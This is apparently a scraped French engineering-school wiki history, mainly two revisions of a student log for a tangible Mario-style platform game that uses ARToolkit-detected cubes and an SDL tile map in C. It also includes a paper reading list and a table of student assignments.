* [https://hal.archives-ouvertes.fr/hal-00399609/document Fast and Accurate Embedded Systems Energy Characterization Using Non-intrusive Measurements]
* [https://hal.archives-ouvertes.fr/hal-01193142/document Energy Consumption of Networked Embedded Systems]
* [http://sing.stanford.edu/pubs/quanto.pdf Quanto: Tracking Energy in Networked Embedded Systems]

== Electronique ==

* [[Media:06997798.pdf|On the Correlation Between Kink Effect and Effective Mobility in InAlN/GaN HEMTs]]
* [[Media:06425450.pdf|Fabrication, Characterization, and Physical Analysis of AlGaN/GaN HEMTs on Flexible Substrates]]
* [[Media:Graphene_transistor_schwierz.pdf|Fabrication, characterisation of graphene based transistors]]

== Web of things ==

* [https://hal.archives-ouvertes.fr/inria-00385140v2/document Smews: Smart and Mobile Embedded Web Server]
* [http://hinrg.cs.jhu.edu/joomla/images/stories/IPSN_2011_koliti.pdf Integrating Wireless Sensor Networks with the Web]

== Systèmes d'exploitation ==

* [https://www.riot-os.org/docs/riot-infocom2013-abstract.pdf Riot OS: Towards an OS for the Internet of Things]
* [http://dunkels.com/adam/dunkels04contiki.pdf Contiki - a Lightweight and Flexible Operating System for Tiny Networked Sensors]
* [http://www.cs.berkeley.edu/~culler/papers/ai-tinyos.pdf TinyOS: An Operating System for Sensor Network]

== Programmation de systèmes temps réel ==

* [https://hal.archives-ouvertes.fr/hal-00800980/document Scheduling Dependent Periodic Tasks Without Synchronization Mechanisms]
* [https://hal.archives-ouvertes.fr/hal-00688490/document A Real-Time Architecture Design Language for Multi-Rate Embedded Control Systems]

=Productions=

Vous devez déposer votre production sur votre propre page. Créez une nouvelle entrée dans le tableau ci-dessous.

{| class="wikitable"
! Numéro de sujet n !! Titre de l'article !! Elève
|-
| [[InitRech 2015/2016, sujet 1 ]] || Control of Elastic Soft Robots based on Real-Time Finite Element Method|| Maxime Szwechowiez
|-
| [[InitRech 2015/2016, sujet 4]] || Impact of Soft Tissue Heterogeneity on Augmented Reality for Liver Surgery || Geoffrey PIekacz
|-
| [[InitRech 2015/2016, sujet 5]] || Monocular 3D Reconstruction and Augmentation of Elastic Surfaces with Self-occlusion Handling || Taffin Valentin
|-
| [[InitRech 2015/2016, sujet 7]] || Surgery Training, Planning and Guidance Using the SOFA Framework || Martin Claverie
|-
| [[InitRech 2015/2016, sujet 8]] || Computer-based training system for cataract surgery || Julien Joignaux
|-
| [[InitRech 2015/2016, sujet 9]] || Anticipation of Brain Shift in Deep Brain Stimulation Automatic Planning || Payelle Vianney
|-
| [[InitRech 2015/2016, sujet 11]] || Interactive Training System for Interventional Electrocardiology Procedures || Loïc Delecroix
|-
| [[InitRech 2015/2016, sujet 17]] || Fast and Accurate Embedded Systems Energy Characterization Using Non-intrusive Measurements || Le Van Phung Kevin
|-
| [[InitRech 2015/2016, sujet 18]] || Energy Consumption of Networked Embedded Systems || Romuald Lentieul
|-
| [[InitRech 2015/2016, sujet 21]] || Fabrication, Characterization, and Physical Analysis of AlGaN/GaN HEMTs on Flexible Substrates || Roj Thomas
|-
| [[InitRech 2015/2016, sujet 22]] || Fabrication, characterisation of graphene based transistors || Bielle Julien
|-
| [[InitRech 2015/2016, sujet 23]] || Smews: Smart and Mobile Embedded Web Server || Pierre Fitoussi
|-
| [[InitRech 2015/2016, sujet 24]] || Integrating Wireless Sensor Networks with the Web || Cuadros Alexandre
|-
| [[InitRech 2015/2016, sujet 26]] || Contiki - a Lightweight and Flexible Operating System for Tiny Networked Sensors || Guillaume Villemont
|-
| [[InitRech 2015/2016, sujet 25]] || Riot OS: Towards an OS for the Internet of Things || Cédric Duval
|-
| [[InitRech 2015/2016, sujet 28]] || Scheduling Dependent Periodic Tasks Without Synchronization Mechanisms || Nathan Richez
|-
| [[InitRech 2015/2016, sujet 13]] || B-spline Based Multi-organ Detection in Magnetic Resonance Imaging || Cong Chen
|-
| [[InitRech 2015/2016, sujet 27]] || TinyOS: An Operating System for Sensor Network || MAIA Stéphane
|-

Fichier:RapportPlateformeTangible.pdf

2016-05-21T14:28:50Z

Smaia : a téléversé une nouvelle version de « Fichier:RapportPlateformeTangible.pdf »

Fichier:RapportPlateformeTangible.pdf

2016-05-21T14:26:06Z

Smaia : a téléversé une nouvelle version de « Fichier:RapportPlateformeTangible.pdf »

Jeu de plateforme tangible

2016-05-02T15:42:01Z

Smaia : /* Partie Jeu */

__TOC__
 
==Cahier des charges==

===Présentation générale du projet===

Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface,
 ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.

===Cahier des charges===

Le dispositif devra être capable :
 - De détecter des cubes matériels formant un "niveau".
 - D'analyser ces cubes et de les convertir en numérique.
 - De les intégrer à un jeu fonctionnant sur PC
 - D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.

===Choix techniques : matériel et logiciel===

Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam
 pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes
 ( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme.
       [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]

===Établissement d'une liste de matériel===

En ce qui concerne le matériel nous aurons besoin :
 - D'une webcam pour faire les acquisitions vidéos.[Fournie 27/01/2015]
 - D'une raspberry Pi pour les traiter.[Fournie 27/01/2015]
 - D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.

===Contraintes attendues===

- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention
 à la résolution de la caméra.
 - Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.
 - La détection de la position des cubes les uns par rapport aux autres.

==Déroulement des séances==
===Semaine 1 et 2===
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.

===Semaine 3===
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.
====Partie Artoolkit====
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de "départ" imposé.
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.

====Partie Jeu====

Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte.
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.

===Semaine 4===
====Partie Conception====
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.
                                         [[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]

====Partie Artoolkit====

Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté :
                                         [[Fichier:montage.png |Exemple de disposition des cubes]]     
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]
 Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :
 1 pour le cube principal A
 2 pour le cube B
 3 pour le cube C etc..
 Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..
 [[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]

====Partie Jeu====

Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement.
 Création du niveau à partir d'une matrice comprise dans un fichier texte :
                                             
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]

Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une " gravité" , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.

===Semaine 5===
====Partie Artoolkit====
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.

                                             
[[Fichier:Resultat dans fichier.png |Résultat obtenu dans la console]]

====Partie Jeu====

L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.

===Semaine 6===
====Partie Artoolkit====
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes.
 Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.
 Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes.
 [[Fichier:Codecube2.png |Fonction pour ]]
 Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.

====Partie Jeu====

Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.
 Voici donc notre nouvelle fonction détectant les collisions :
 int CollisionDecor(Map* carte,Sprite* test)
 {
     int xmin,xmax,ymin,ymax,i,j,indicetile;
     xmin = test->x / carte->LARGEUR_TILE;
     ymin = test->y / carte->HAUTEUR_TILE;
     xmax = (test->x + test->anim->largeurchar -1) / carte->LARGEUR_TILE;
      ymax = (test->y + test->anim->hauteurchar -1) / carte->HAUTEUR_TILE;
      if (xmin<0 || ymin<0 || xmax>=carte->nbtiles_largeur_monde || ymax>=carte->nbtiles_hauteur_monde)
          return 1;
      for(i=xmin;i<=xmax;i++)
      {
          for(j=ymin;j<=ymax;j++)
          {
              indicetile = carte->schema[i][j];
              if (carte->props[indicetile].mur )
                  return 1;
              if (carte->props[indicetile].danger )
                  return 2;
          }
      }
     return 0;
 }

Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.

===Semaine 7===
====Rassemblement====

Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.

                                             
[[Fichier:exemple1rassemblement.png |Résultat obtenu ]]

====Partie Jeu====

En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nous avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœur. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.

===Semaine 8===
====Rassemblement====

Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )

====Partie Jeu====

Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors "dangereux". Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type "danger" au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type "mur".

===Semaine 9 et 10===
====Rassemblement====

Pendant ces deux semaines nous avons travaillé sur amélioration du jeu en incorporant un système de points dégressifs. En effet, ainsi cela améliore le potentiel du jeu en créant la possibilité de comparer son score ( qui en fait correspond au temps mis pour effectuer le parcours ) avec une autre personne. De plus nous sommes en train de démarrer la possibilité d'incorporer des ennemis dans le jeu. Cependant cela est toujours en stade de développement. Nous avons également rajouté un affichage d'un nouvel écran lors d'un game over qui affiche "Game Over" ainsi que le score du joueur.

====Partie Jeu====

Pour finaliser et améliorer notre jeu, nous avons décider de rajouter des ennemies. L'affichage d'un ennemie se faisant exactement comme pour l'affichage de notre personnage, celle-ci se faisait sous forme de boucle où l'on affichait tout les personnages en parcourant un tableau de sprites ( dessins des personnages ), contenant à la fois notre personnage et ceux contrôlés par l'ordinateur. Nous n'avons pas programmé de réel intelligence artificielle, cela aurait été très compliqué étant donné la possibilité infinie de décors environnant au personnage contrôlé par celle-ci. Le personnage ennemie se charge donc simplement de faire un balayage de gauche à droite de quelque case. Lors d'une collision entre notre personnage et un ennemie, notre personnage se comporte comme avec la rencontre de la lave, c'est à dire un saut vers le haut en perdant une vie.

Jeu de plateforme tangible

2016-05-02T15:29:17Z

Smaia : /* Partie Jeu */

Jeu de plateforme tangible

2016-05-02T15:28:03Z

Smaia : /* Semaine 9 et 10 */

__TOC__
 
==Cahier des charges==

===Présentation générale du projet===

Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface,
 ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.

===Cahier des charges===

Le dispositif devra être capable :
 - De détecter des cubes matériels formant un "niveau".
 - D'analyser ces cubes et de les convertir en numérique.
 - De les intégrer à un jeu fonctionnant sur PC
 - D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.

===Choix techniques : matériel et logiciel===

Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam
 pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes
 ( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme.
       [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]

===Établissement d'une liste de matériel===

En ce qui concerne le matériel nous aurons besoin :
 - D'une webcam pour faire les acquisitions vidéos.[Fournie 27/01/2015]
 - D'une raspberry Pi pour les traiter.[Fournie 27/01/2015]
 - D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.

===Contraintes attendues===

- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention
 à la résolution de la caméra.
 - Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.
 - La détection de la position des cubes les uns par rapport aux autres.

==Déroulement des séances==
===Semaine 1 et 2===
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.

===Semaine 3===
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.
====Partie Artoolkit====
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de "départ" imposé.
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.

====Partie Jeu====

Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte.
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.

===Semaine 4===
====Partie Conception====
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.
                                         [[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]

====Partie Artoolkit====

Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté :
                                         [[Fichier:montage.png |Exemple de disposition des cubes]]     
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]
 Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :
 1 pour le cube principal A
 2 pour le cube B
 3 pour le cube C etc..
 Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..
 [[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]

====Partie Jeu====

Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement.
 Création du niveau à partir d'une matrice comprise dans un fichier texte :
                                             
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]

Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une " gravité" , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.

===Semaine 5===
====Partie Artoolkit====
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.

                                             
[[Fichier:Resultat dans fichier.png |Résultat obtenu dans la console]]

====Partie Jeu====

L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.

===Semaine 6===
====Partie Artoolkit====
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes.
 Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.
 Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes.
 [[Fichier:Codecube2.png |Fonction pour ]]
 Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.

====Partie Jeu====

Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.
 Voici donc notre nouvelle fonction détectant les collisions :
 int CollisionDecor(Map* carte,Sprite* test)
 {
     int xmin,xmax,ymin,ymax,i,j,indicetile;
     xmin = test->x / carte->LARGEUR_TILE;
     ymin = test->y / carte->HAUTEUR_TILE;
     xmax = (test->x + test->anim->largeurchar -1) / carte->LARGEUR_TILE;
      ymax = (test->y + test->anim->hauteurchar -1) / carte->HAUTEUR_TILE;
      if (xmin<0 || ymin<0 || xmax>=carte->nbtiles_largeur_monde || ymax>=carte->nbtiles_hauteur_monde)
          return 1;
      for(i=xmin;i<=xmax;i++)
      {
          for(j=ymin;j<=ymax;j++)
          {
              indicetile = carte->schema[i][j];
              if (carte->props[indicetile].mur )
                  return 1;
              if (carte->props[indicetile].danger )
                  return 2;
          }
      }
     return 0;
 }

Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.

===Semaine 7===
====Rassemblement====

Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.

                                             
[[Fichier:exemple1rassemblement.png |Résultat obtenu ]]

====Partie Jeu====

En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nosus avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœurs. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.

===Semaine 8===
====Rassemblement====

Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )

====Partie Jeu====

Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors "dangereux". Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type "danger" au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type "mur".

===Semaine 9 et 10===
====Rassemblement====

Pendant ces deux semaines nous avons travaillé sur amélioration du jeu en incorporant un système de points dégressifs. En effet, ainsi cela améliore le potentiel du jeu en créant la possibilité de comparer son score ( qui en fait correspond au temps mis pour effectuer le parcours ) avec une autre personne. De plus nous sommes en train de démarrer la possibilité d'incorporer des ennemis dans le jeu. Cependant cela est toujours en stade de développement. Nous avons également rajouté un affichage d'un nouvel écran lors d'un game over qui affiche "Game Over" ainsi que le score du joueur.

====Partie Jeu====

Projets IMA4 SC & SA 2015/2016

2016-04-27T12:53:23Z

Smaia : /* Fiche de présence */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en demandant une modification du format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

{| class="wikitable"
